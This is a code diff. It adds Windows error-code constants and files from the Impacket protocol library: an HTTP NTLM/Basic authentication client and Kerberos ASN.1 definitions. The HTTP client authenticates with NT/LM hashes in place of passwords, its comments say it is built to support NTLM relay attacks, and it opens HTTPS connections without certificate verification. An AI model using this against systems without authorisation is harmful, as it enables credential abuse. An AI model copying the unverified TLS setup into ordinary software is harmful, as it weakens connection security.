+NS_E_PUSH_CANNOTCONNECT                                      = 0xC00D2F0B
+NS_E_INCOMPATIBLE_PUSH_SERVER                                = 0xC00D2F0C
+NS_E_END_OF_PLAYLIST                                         = 0xC00D32C8
+NS_E_USE_FILE_SOURCE                                         = 0xC00D32C9
+NS_E_PROPERTY_NOT_FOUND                                      = 0xC00D32CA
+NS_E_PROPERTY_READ_ONLY                                      = 0xC00D32CC
+NS_E_TABLE_KEY_NOT_FOUND                                     = 0xC00D32CD
+NS_E_INVALID_QUERY_OPERATOR                                  = 0xC00D32CF
+NS_E_INVALID_QUERY_PROPERTY                                  = 0xC00D32D0
+NS_E_PROPERTY_NOT_SUPPORTED                                  = 0xC00D32D2
+NS_E_SCHEMA_CLASSIFY_FAILURE                                 = 0xC00D32D4
+NS_E_METADATA_FORMAT_NOT_SUPPORTED                           = 0xC00D32D5
+NS_E_METADATA_NO_EDITING_CAPABILITY                          = 0xC00D32D6
+NS_E_METADATA_CANNOT_SET_LOCALE                              = 0xC00D32D7
+NS_E_METADATA_LANGUAGE_NOT_SUPORTED                          = 0xC00D32D8
+NS_E_METADATA_NO_RFC1766_NAME_FOR_LOCALE                     = 0xC00D32D9
+NS_E_METADATA_NOT_AVAILABLE                                  = 0xC00D32DA
+NS_E_METADATA_CACHE_DATA_NOT_AVAILABLE                       = 0xC00D32DB
+NS_E_METADATA_INVALID_DOCUMENT_TYPE                          = 0xC00D32DC
+NS_E_METADATA_IDENTIFIER_NOT_AVAILABLE                       = 0xC00D32DD
+NS_E_METADATA_CANNOT_RETRIEVE_FROM_OFFLINE_CACHE             = 0xC00D32DE
+ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM                    = 0xC0261003
+ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK                  = 0xC0261004
+ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED              = 0xC0261005
+ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK             = 0xC0261006
+ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK             = 0xC0261007
+ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA                        = 0xC0261008
+ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK                  = 0xC0261009
+ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER                      = 0xC0262000
+ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER                       = 0xC0262001
+ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER                       = 0xC0262002
+ERROR_GRAPHICS_ADAPTER_WAS_RESET                             = 0xC0262003
+ERROR_GRAPHICS_INVALID_DRIVER_MODEL                          = 0xC0262004
+ERROR_GRAPHICS_PRESENT_MODE_CHANGED                          = 0xC0262005
+ERROR_GRAPHICS_PRESENT_OCCLUDED                              = 0xC0262006
+ERROR_GRAPHICS_PRESENT_DENIED                                = 0xC0262007
+ERROR_GRAPHICS_CANNOTCOLORCONVERT                            = 0xC0262008
+ERROR_GRAPHICS_NO_VIDEO_MEMORY                               = 0xC0262100
+ERROR_GRAPHICS_CANT_LOCK_MEMORY                              = 0xC0262101
+ERROR_GRAPHICS_ALLOCATION_BUSY                               = 0xC0262102
+ERROR_GRAPHICS_TOO_MANY_REFERENCES                           = 0xC0262103
+ERROR_GRAPHICS_TRY_AGAIN_LATER                               = 0xC0262104
+ERROR_GRAPHICS_TRY_AGAIN_NOW                                 = 0xC0262105
+ERROR_GRAPHICS_ALLOCATION_INVALID                            = 0xC0262106
+ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE              = 0xC0262107
+ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED              = 0xC0262108
+ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION                  = 0xC0262109
+ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE                      = 0xC0262110
+ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION                 = 0xC0262111
+ERROR_GRAPHICS_ALLOCATION_CLOSED                             = 0xC0262112
+ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE                   = 0xC0262113
+ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE                     = 0xC0262114
+ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE                       = 0xC0262115
+ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST                       = 0xC0262116
+ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE                       = 0xC0262200
+ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY                        = 0xC0262300
+ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED                  = 0xC0262301
+ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED        = 0xC0262302
+ERROR_GRAPHICS_INVALID_VIDPN                                 = 0xC0262303
+ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE                  = 0xC0262304
+ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET                  = 0xC0262305
+ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED                  = 0xC0262306
+ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET                   = 0xC0262308
+ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET                   = 0xC0262309
+ERROR_GRAPHICS_INVALID_FREQUENCY                             = 0xC026230A
+ERROR_GRAPHICS_INVALID_ACTIVE_REGION                         = 0xC026230B
+ERROR_GRAPHICS_INVALID_TOTAL_REGION                          = 0xC026230C
+ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE             = 0xC0262310
+ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE             = 0xC0262311
+ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET                = 0xC0262312
+ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY                      = 0xC0262313
+ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET                       = 0xC0262314
+ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET                 = 0xC0262315
+ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET                 = 0xC0262316
+ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET                         = 0xC0262317
+ERROR_GRAPHICS_TARGET_ALREADY_IN_SET                         = 0xC0262318
+ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH                    = 0xC0262319
+ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY                 = 0xC026231A
+ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET             = 0xC026231B
+ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE                = 0xC026231C
+ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET                     = 0xC026231D
+ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET                 = 0xC026231F
+ERROR_GRAPHICS_STALE_MODESET                                 = 0xC0262320
+ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET                 = 0xC0262321
+ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE                   = 0xC0262322
+ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN               = 0xC0262323
+ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE                        = 0xC0262324
+ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION = 0xC0262325
+ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES       = 0xC0262326
+ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY                          = 0xC0262327
+ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE         = 0xC0262328
+ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET         = 0xC0262329
+ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET                  = 0xC026232A
+ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR                     = 0xC026232B
+ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET                  = 0xC026232C
+ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET              = 0xC026232D
+ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE           = 0xC026232E
+ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE              = 0xC026232F
+ERROR_GRAPHICS_RESOURCES_NOT_RELATED                         = 0xC0262330
+ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE                      = 0xC0262331
+ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE                      = 0xC0262332
+ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET                     = 0xC0262333
+ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER  = 0xC0262334
+ERROR_GRAPHICS_NO_VIDPNMGR                                   = 0xC0262335
+ERROR_GRAPHICS_NO_ACTIVE_VIDPN                               = 0xC0262336
+ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY                          = 0xC0262337
+ERROR_GRAPHICS_MONITOR_NOT_CONNECTED                         = 0xC0262338
+ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY                        = 0xC0262339
+ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE                   = 0xC026233A
+ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE                    = 0xC026233B
+ERROR_GRAPHICS_INVALID_STRIDE                                = 0xC026233C
+ERROR_GRAPHICS_INVALID_PIXELFORMAT                           = 0xC026233D
+ERROR_GRAPHICS_INVALID_COLORBASIS                            = 0xC026233E
+ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE                  = 0xC026233F
+ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY                        = 0xC0262340
+ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT            = 0xC0262341
+ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE                           = 0xC0262342
+ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN                      = 0xC0262343
+ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL               = 0xC0262344
+ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION  = 0xC0262345
+ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED = 0xC0262346
+ERROR_GRAPHICS_INVALID_GAMMA_RAMP                            = 0xC0262347
+ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED                      = 0xC0262348
+ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED                   = 0xC0262349
+ERROR_GRAPHICS_MODE_NOT_IN_MODESET                           = 0xC026234A
+ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON  = 0xC026234D
+ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE                     = 0xC026234E
+ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE                   = 0xC026234F
+ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS             = 0xC0262350
+ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING                     = 0xC0262352
+ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED                  = 0xC0262353
+ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS              = 0xC0262354
+ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT                   = 0xC0262355
+ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM                = 0xC0262356
+ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED             = 0xC0262400
+ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED                = 0xC0262401
+ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER                          = 0xC0262430
+ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED                       = 0xC0262431
+ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED                     = 0xC0262432
+ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY                       = 0xC0262433
+ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED                        = 0xC0262434
+ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON                     = 0xC0262435
+ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE                = 0xC0262436
+ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER                        = 0xC0262438
+ERROR_GRAPHICS_OPM_NOT_SUPPORTED                             = 0xC0262500
+ERROR_GRAPHICS_COPP_NOT_SUPPORTED                            = 0xC0262501
+ERROR_GRAPHICS_UAB_NOT_SUPPORTED                             = 0xC0262502
+ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS              = 0xC0262503
+ERROR_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL                 = 0xC0262504
+ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST                    = 0xC0262505
+ERROR_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME     = 0xC0262506
+ERROR_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP    = 0xC0262507
+ERROR_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED           = 0xC0262508
+ERROR_GRAPHICS_OPM_INVALID_POINTER                           = 0xC026250A
+ERROR_GRAPHICS_OPM_INTERNAL_ERROR                            = 0xC026250B
+ERROR_GRAPHICS_OPM_INVALID_HANDLE                            = 0xC026250C
+ERROR_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE  = 0xC026250D
+ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH                = 0xC026250E
+ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED                     = 0xC026250F
+ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED                      = 0xC0262510
+ERROR_GRAPHICS_PVP_HFS_FAILED                                = 0xC0262511
+ERROR_GRAPHICS_OPM_INVALID_SRM                               = 0xC0262512
+ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP              = 0xC0262513
+ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP               = 0xC0262514
+ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA             = 0xC0262515
+ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET                        = 0xC0262516
+ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH                       = 0xC0262517
+ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE          = 0xC0262518
+ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS             = 0xC0262519
+ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS           = 0xC026251A
+ERROR_GRAPHICS_I2C_NOT_SUPPORTED                             = 0xC0262580
+ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST                     = 0xC0262581
+ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA                   = 0xC0262582
+ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA                      = 0xC0262583
+ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED                       = 0xC0262584
+ERROR_GRAPHICS_DDCCI_INVALID_DATA                            = 0xC0262585
+ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE = 0xC0262586
+ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING               = 0xC0262587
+ERROR_GRAPHICS_MCA_INTERNAL_ERROR                            = 0xC0262588
+ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND                 = 0xC0262589
+ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH                  = 0xC026258A
+ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM                = 0xC026258B
+ERROR_GRAPHICS_PMEA_INVALID_MONITOR                          = 0xC02625D6
+ERROR_GRAPHICS_PMEA_INVALID_D3D_DEVICE                       = 0xC02625D7
+ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE = 0xC02625D8
+ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION                       = 0xC02625D9
+ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION       = 0xC02625DA
+ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH                     = 0xC02625DB
+ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION                  = 0xC02625DC
+ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED          = 0xC02625DE
+ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE             = 0xC02625DF
+ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED                = 0xC02625E0
diff --git a/impacket/http.py b/impacket/http.py
new file mode 100644
index 0000000..6b07eba
--- /dev/null
+++ b/impacket/http.py
@@ -0,0 +1,208 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   For MS-RPCH
+#   Can be programmed to be used in relay attacks
+#   Probably for future MAPI
+#
+# Authors:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+
+import re
+import ssl
+import base64
+import binascii
+
+try:
+    from http.client import HTTPConnection, HTTPSConnection
+except ImportError:
+    from httplib import HTTPConnection, HTTPSConnection
+
+from impacket import ntlm, LOG
+
+# Auth types
+AUTH_AUTO      = 'Auto'
+AUTH_BASIC     = 'Basic'
+AUTH_NTLM      = 'NTLM'
+AUTH_NEGOTIATE = 'Negotiate'
+AUTH_BEARER    = 'Bearer'
+AUTH_DIGEST    = 'Digest'
+
+################################################################################
+# CLASSES
+################################################################################
+class HTTPClientSecurityProvider:
+    def __init__(self, auth_type=AUTH_AUTO):
+        self.__username = None
+        self.__password = None
+        self.__domain   = None
+        self.__lmhash   = ''
+        self.__nthash   = ''
+        self.__aesKey   = ''
+        self.__TGT      = None
+        self.__TGS      = None
+
+        self.__auth_type = auth_type
+
+        self.__auth_types = []
+        self.__ntlmssp_info = None
+
+    def set_auth_type(self, auth_type):
+        self.__auth_type = auth_type
+
+    def get_auth_type(self):
+        return self.__auth_type
+
+    def get_auth_types(self):
+        return self.__auth_types
+
+    def get_ntlmssp_info(self):
+        return self.__ntlmssp_info
+
+    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
+        self.__username = username
+        self.__password = password
+        self.__domain   = domain
+
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0%s' % lmhash
+            if len(nthash) % 2:
+                nthash = '0%s' % nthash
+
+            try: # just in case they were converted already
+                self.__lmhash = binascii.unhexlify(lmhash)
+                self.__nthash = binascii.unhexlify(nthash)
+            except:
+                self.__lmhash = lmhash
+                self.__nthash = nthash
+                pass
+
+        self.__aesKey = aesKey
+        self.__TGT    = TGT
+        self.__TGS    = TGS
+
+    def parse_www_authenticate(self, header):
+        ret = []
+
+        if 'NTLM' in header:
+            ret.append(AUTH_NTLM)
+        if 'Basic' in header:
+            ret.append(AUTH_BASIC)
+        if 'Negotiate' in header:
+            ret.append(AUTH_NEGOTIATE)
+        if 'Bearer' in header:
+            ret.append(AUTH_BEARER)
+        if 'Digest' in header:
+            ret.append(AUTH_DIGEST)
+
+        return ret
+
+    def connect(self, protocol, host_L6):
+        if protocol == 'http':
+            return HTTPConnection(host_L6)
+        else:
+            try:
+                uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
+                return HTTPSConnection(host_L6, context=uv_context)
+            except AttributeError:
+                return HTTPSConnection(host_L6)
+
+    def get_auth_headers(self, http_obj, method, path, headers):
+        if self.__auth_type == AUTH_BASIC:
+            return self.get_auth_headers_basic(http_obj, method, path, headers)
+        elif self.__auth_type in [AUTH_AUTO, AUTH_NTLM]:
+            return self.get_auth_headers_auto(http_obj, method, path, headers)
+        else:
+            raise Exception('%s auth type not supported' % self.__auth_type)
+
+    def get_auth_headers_basic(self, http_obj, method, path, headers):
+        if self.__lmhash != '' or self.__nthash != '' or \
+           self.__aesKey != '' or self.__TGT != None or self.__TGS != None:
+            raise Exception('Basic authentication in HTTP connection used, '
+                            'so set a plaintext credentials to connect.')
+
+        if self.__domain == '':
+            auth_line = self.__username + ':' + self.__password
+        else:
+            auth_line = self.__domain + '\\' + self.__username + ':' + self.__password
+
+        auth_line_http = 'Basic %s' % base64.b64encode(auth_line.encode('UTF-8')).decode('ascii')
+
+        # Format: auth_headers, reserved, ...
+        return {'Authorization': auth_line_http}, None
+
+    # It's important that the class contains the separate method that
+    # gets NTLM Type 1 value, as this way the class can be programmed to
+    # be used in relay attacks
+    def send_ntlm_type1(self, http_obj, method, path, headers, negotiateMessage):
+        auth_headers = headers.copy()
+        auth_headers['Content-Length'] = '0'
+        auth_headers['Authorization']  = 'NTLM %s' % base64.b64encode(negotiateMessage).decode('ascii')
+        http_obj.request(method, path, headers=auth_headers)
+        res = http_obj.getresponse()
+        res.read()
+
+        if res.status != 401:
+            raise Exception('Status code returned: %d. '
+                            'Authentication does not seem required for url %s'
+                            % (res.status, path)
+                )
+
+        if res.getheader('WWW-Authenticate') is None:
+           raise Exception('No authentication requested by '
+                           'the server for url %s' % path)
+
+        if self.__auth_types == []:
+            self.__auth_types = self.parse_www_authenticate(res.getheader('WWW-Authenticate'))
+
+        if AUTH_NTLM not in self.__auth_types:
+            # NTLM auth not supported for url
+            return None, None
+
+        try:
+            serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})',
+                                              res.getheader('WWW-Authenticate')).group(1)
+            serverChallenge = base64.b64decode(serverChallengeBase64)
+        except (IndexError, KeyError, AttributeError):
+            raise Exception('No NTLM challenge returned from server for url %s' % path)
+
+        if not self.__ntlmssp_info:
+            challenge = ntlm.NTLMAuthChallenge(serverChallenge)
+            self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields'])
+
+        # Format: serverChallenge, reserved, ...
+        return serverChallenge, None
+
+    def get_auth_headers_auto(self, http_obj, method, path, headers):
+        if self.__aesKey != '' or self.__TGT != None or self.__TGS != None:
+            raise Exception('NTLM authentication in HTTP connection used, ' \
+                            'cannot use Kerberos.')
+
+        auth = ntlm.getNTLMSSPType1(domain=self.__domain)
+        serverChallenge = self.send_ntlm_type1(http_obj, method, path, headers, auth.getData())[0]
+
+        if serverChallenge is not None:
+            self.__auth_type = AUTH_NTLM
+
+            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, self.__username,
+                                                             self.__password, self.__domain,
+                                                             self.__lmhash, self.__nthash)
+
+            auth_line_http = 'NTLM %s' % base64.b64encode(type3.getData()).decode('ascii')
+        else:
+            if self.__auth_type == AUTH_AUTO and AUTH_BASIC in self.__auth_types:
+                self.__auth_type = AUTH_BASIC
+                return self.get_auth_headers_basic(http_obj, method, path, headers)
+            else:
+                raise Exception('No supported auth offered by URL: %s' % self.__auth_types)
+
+        # Format: auth_headers, reserved, ...
+        return {'Authorization': auth_line_http}, None
diff --git a/impacket/krb5/__init__.py b/impacket/krb5/__init__.py
new file mode 100644
index 0000000..b2b0c68
--- /dev/null
+++ b/impacket/krb5/__init__.py
@@ -0,0 +1,9 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+pass
diff --git a/impacket/krb5/asn1.py b/impacket/krb5/asn1.py
new file mode 100644
index 0000000..78d668f
--- /dev/null
+++ b/impacket/krb5/asn1.py
@@ -0,0 +1,519 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Changed some of the classes names to match the RFC 4120
+#   Added [MS-KILE] data
+#   Adapted to Enum
+#
+# Author:
+#   Altered source by Alberto Solino (@agsolino)
+#
+# Copyright and license note from asn1.py:
+#
+# Copyright (c) 2013, Marc Horowitz
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are
+# met:
+#
+# Redistributions of source code must retain the above copyright notice,
+# this list of conditions and the following disclaimer.
+#
+# Redistributions in binary form must reproduce the above copyright
+# notice, this list of conditions and the following disclaimer in the
+# documentation and/or other materials provided with the distribution.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+from pyasn1.type import tag, namedtype, univ, constraint, char, useful
+
+from . import constants
+
+
+def _application_tag(tag_value):
+    return univ.Sequence.tagSet.tagExplicitly(
+        tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed,
+                int(tag_value)))
+
+def _vno_component(tag_value, name="pvno"):
+    return _sequence_component(
+        name, tag_value, univ.Integer(),
+        subtypeSpec=constraint.ValueRangeConstraint(5, 5))
+
+def _msg_type_component(tag_value, values):
+    c = constraint.ConstraintsUnion(
+        *(constraint.SingleValueConstraint(int(v)) for v in values))
+    return _sequence_component('msg-type', tag_value, univ.Integer(),
+                               subtypeSpec=c)
+
+def _sequence_component(name, tag_value, type, **subkwargs):
+    return namedtype.NamedType(name, type.subtype(
+        explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple,
+                            tag_value),
+        **subkwargs))
+
+def _sequence_optional_component(name, tag_value, type, **subkwargs):
+    return namedtype.OptionalNamedType(name, type.subtype(
+        explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple,
+                            tag_value),
+        **subkwargs))
+
+def seq_set(seq, name, builder=None, *args, **kwargs):
+    component = seq.setComponentByName(name).getComponentByName(name)
+    if builder is not None:
+        seq.setComponentByName(name, builder(component, *args, **kwargs))
+    else:
+        seq.setComponentByName(name)
+    return seq.getComponentByName(name)
+
+def seq_set_dict(seq, name, pairs, *args, **kwargs):
+    component = seq.setComponentByName(name).getComponentByName(name)
+    for k, v in pairs.items():
+        component.setComponentByName(k, v)
+
+def seq_set_iter(seq, name, iterable):
+    component = seq.setComponentByName(name).getComponentByName(name)
+    for pos, v in enumerate(iterable):
+        component.setComponentByPosition(pos, v)
+
+def seq_set_flags(seq, name, flags):
+    seq_set(seq, name, flags.to_asn1)
+
+def seq_append(seq, name, pairs):
+    component = seq.getComponentByName(name)
+    if component is None:
+        component = seq.setComponentByName(name).getComponentByName(name)
+    index = len(component)
+    element = component.setComponentByPosition(index
+                                               ).getComponentByPosition(index)
+    for k, v in pairs.items():
+        element.setComponentByName(k, v)
+
+class Int32(univ.Integer):
+    subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(
+        -2147483648, 2147483647)
+
+class UInt32(univ.Integer):
+    pass
+#    subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(
+#        0, 4294967295)
+
+class Microseconds(univ.Integer):
+    subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(
+        0, 999999)
+
+class KerberosString(char.GeneralString):
+    # TODO marc: I'm not sure how to express this constraint in the API.
+    # For now, we will be liberal in what we accept.
+    # subtypeSpec = constraint.PermittedAlphabetConstraint(char.IA5String())
+    pass
+
+class Realm(KerberosString):
+    pass
+
+class PrincipalName(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component("name-type", 0, Int32()),
+        _sequence_component("name-string", 1,
+                            univ.SequenceOf(componentType=KerberosString()))
+                            )
+
+class KerberosTime(useful.GeneralizedTime):
+    pass
+
+class HostAddress(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component("addr-type", 0, Int32()),
+        _sequence_component("address", 1, univ.OctetString())
+        )
+
+class HostAddresses(univ.SequenceOf):
+    componentType = HostAddress()
+
+class AuthorizationData(univ.SequenceOf):
+    componentType = univ.Sequence(componentType=namedtype.NamedTypes(
+        _sequence_component('ad-type', 0, Int32()),
+        _sequence_component('ad-data', 1, univ.OctetString())
+        ))
+
